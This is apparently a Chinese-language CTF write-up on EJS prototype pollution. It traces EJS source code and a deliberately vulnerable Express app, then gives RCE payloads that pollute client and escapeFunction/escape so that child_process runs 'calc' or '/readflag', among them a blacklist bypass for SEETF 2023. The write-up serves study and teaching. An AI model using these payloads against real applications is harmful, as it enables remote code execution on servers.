ejs默认配置造成原型链污染
ejs默认配置之原型链污染 参考文章
漏洞背景 EJS维护者对原型链污染的问题有着很好的理解,并使用非常安全的函数清理他们创建的每个对象
利用Render()
1 2 3 4 5 6 7 8 9 10 11 12 exports.render = function (template, d, o) { var data = d || utils.createNullProtoObjWherePossible(); var opts = o || utils.createNullProtoObjWherePossible(); // No options object -- if there are optiony names // in the data, copy them to options if (arguments.length == 2) { utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA); } return handleCache(opts, template)(data); };
以及createNullProtoObjWherePossible()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 exports.createNullProtoObjWherePossible = (function () { if (typeof Object.create == 'function') { return function () { return Object.create(null); }; } if (!({__proto__: null} instanceof Object)) { return function () { return {__proto__: null}; }; } // Not possible, just pass through return function () { return {}; }; })();
参考文章是这么说的,分析上述代码,可以知道不能滥用原型链污染库内新创建的对象。因此,对于用户提供的对象来说情况并非如此,从 EJS 维护者的角度来看,用户向库提供的输入不是 EJS 的责任。
如何理解呢,就是说我们提供的可以被污染的对象并不会遭到上述函数清理。
漏洞分析 渲染模板时ejs 动态创建函数,该函数将使用传递给它的数据 组装模板。该函数是根据模板动态创建的字符串编译的。所有这些都发生在最终被调用的 Template 类的编译函数中,在这种情况下,当创建模板对象时,将使用受感染的选项。
1 2 3 4 5 6 7 8 exports.compile = function compile(template, opts) { var templ; ... templ = new Template(template, opts); return templ.compile(); };
现在我们知道可以控制配置对象的原型后,那么就可以进一步利用
我们已经知道当编译模板时,它会使用多个配置元素来处理模板中的代码片段,并将其转换为可执行的 JavaScript 函数。这些配置元素可能包括模板标签、控制流语句、输出语句等。不过其中大多数都使用_JS_IDENTIFIER
正则表达式进行清理
但是并不意味着所有都会被正则清理,我们看向下面代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 compile: function () { /** @type {string} */ var src; /** @type {ClientFunction} */ var fn; var opts = this.opts; var prepended = ''; var appended = ''; /** @type {EscapeCallback} */ var escapeFn = opts.escapeFunction; /** @type {FunctionConstructor} */ var ctor; /** @type {string} */ var sanitizedFilename = opts.filename ? JSON.stringify(opts.filename) : 'undefined'; ... if (opts.client) { src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src; if (opts.compileDebug) { src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src; } } ... return returnedFn;
我们可以知道将opts.escapeFunction
赋值给escapeFn
,如果opts.client
存在,那么escapeFn
就会在函数体内从而被调用
由于 opts.client 和 opts.escapeFunction 默认情况下未设置,因此可以原型链污染它们到达eval接收器并实现RCE
1 2 3 4 5 6 { "__proto__": { "client": 1, "escapeFunction": "JSON.stringify; process.mainModule.require('child_process').exec('calc')" } }
漏洞利用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 // Setup app const express = require("express"); const app = express(); const port = 3000; // Select ejs templating library app.set('view engine', 'ejs'); // Routes app.get("/", (req, res) => { res.render("index"); }) app.get("/vuln", (req, res) => { // simulate SSPP vulnerability var a = req.query.a; var b = req.query.b; var c = req.query.c; var obj = {}; obj[a][b] = c; res.send("OK!"); }) // Start app app.listen(port, () => { console.log(`App listening on port ${port}`) })
GET传参payload
1 2 第一次: /vuln?a=__proto__&b=escapeFunction&c=JSON.stringify; process.mainModule.require('child_process').execSync('calc') 第二次: /vuln?a=__proto__&b=client&c=true
实战 [SEETF 2023]Express JavaScript Security
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 const express = require('express'); const ejs = require('ejs'); const app = express(); app.set('view engine', 'ejs'); const BLACKLIST = [ "outputFunctionName", "escapeFunction", "localsName", "destructuredLocals" ] app.get('/', (req, res) => { return res.render('index'); }); app.get('/greet', (req, res) => { const data = JSON.stringify(req.query); if (BLACKLIST.find((item) => data.includes(item))) { return res.status(400).send('Can you not?'); } return res.render('greet', { ...JSON.parse(data), cache: false }); }); app.listen(3000, () => { console.log('Server listening on port 3000') })
分析一下,app.set('view engine', 'ejs');
说明ejs模板是默认配置,在/greet
路由下,接收GET参数并赋值给data变量,然后黑名单检测,调用ejs模板进行渲染其中解析data的json数据,说明ejs配置可控。
我们前文利用的payload是有escapeFunction关键字的,并且污染的过程是我们手动添加/vuln
上去的,所以我们要寻找可以利用的地方
通常情况下,ejs模板只允许在数据对象中传递以下相对无害的选项
1 2 3 4 5 6 var _OPTS_PASSABLE_WITH_DATA = ['delimiter', 'scope', 'context', 'debug', 'compileDebug', 'client', '_with', 'rmWhitespace', 'strict', 'filename', 'async']; // We don't allow 'cache' option to be passed in the data obj for // the normal `render` call, but this is where Express 2 & 3 put it // so we make an exception for `renderFile` var _OPTS_PASSABLE_WITH_DATA_EXPRESS = _OPTS_PASSABLE_WITH_DATA.concat('cache');
但是我们找到settings['view options']
可用于将任意选项传递给EJS,这将是我们利用的点
跟进一下,会调用shallowCopy()进行赋值给opts
1 2 3 4 viewOpts = data.settings['view options']; if (viewOpts) { utils.shallowCopy(opts, viewOpts); }
而在渲染模板的时候会跟进到Template类中,发现关键语句
1 options.escapeFunction = opts.escape || opts.escapeFunction || utils.escapeXML;
也就是说虽然escapeFunction被过滤了,但是我们可以利用opts.escape去替换
1 settings['view options'][escape]=...
将前文漏洞利用的payload稍加修改一下,然后添加上greet.ejs中的三个配置参数
得到最终payload
1 /greet?name=test&font=test&fontSize=test&settings[view options][escape]=function(){return process.mainModule.require('child_process').execSync('/readflag')}&settings[view options][client]=1
注:题目源码已经JSON.stringify
了,/readflag
可以在dockerfile中得到信息